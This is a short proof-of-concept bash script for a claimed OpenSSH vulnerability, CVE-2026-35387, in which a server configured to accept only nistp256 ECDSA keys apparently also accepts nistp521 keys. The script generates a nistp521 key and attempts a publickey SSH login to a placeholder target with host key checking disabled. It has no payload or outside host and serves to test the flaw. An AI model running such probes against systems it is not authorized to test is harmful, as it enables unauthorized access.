CVE-2026-35387 OpenSSH ECDSA算法配置误用漏洞

#!/bin/bash # PoC for CVE-2026-35387: OpenSSH ECDSA Algorithm Misinterpretation # Description: This script demonstrates how a configuration intended to allow only # nistp256 might inadvertently accept other ECDSA types like nistp521. TARGET_HOST="target_ip" TARGET_USER="test_user" # 1. Generate a non-intended ECDSA key (e.g., nistp521) if not present if [ ! -f "./id_ecdsa_p521" ]; then ssh-keygen -t ecdsa -b 521 -f ./id_ecdsa_p521 -N "" fi # 2. Attempt to connect using the nistp521 key # Expected behavior on patched systems: Connection refused (algorithm not allowed) # Vulnerable behavior: Connection allowed (misinterpretation of config) echo "Attempting connection with ecdsa-sha2-nistp521..." ssh -o PubkeyAuthentication=yes \ -o IdentityFile=./id_ecdsa_p521 \ -o PreferredAuthentications=publickey \ -o StrictHostKeyChecking=no \ ${TARGET_USER}@${TARGET_HOST} "echo 'Access Granted via unintended algorithm'" # Note: Ensure the target sshd_config contains 'PubkeyAcceptedAlgorithms ecdsa-sha2-nistp256'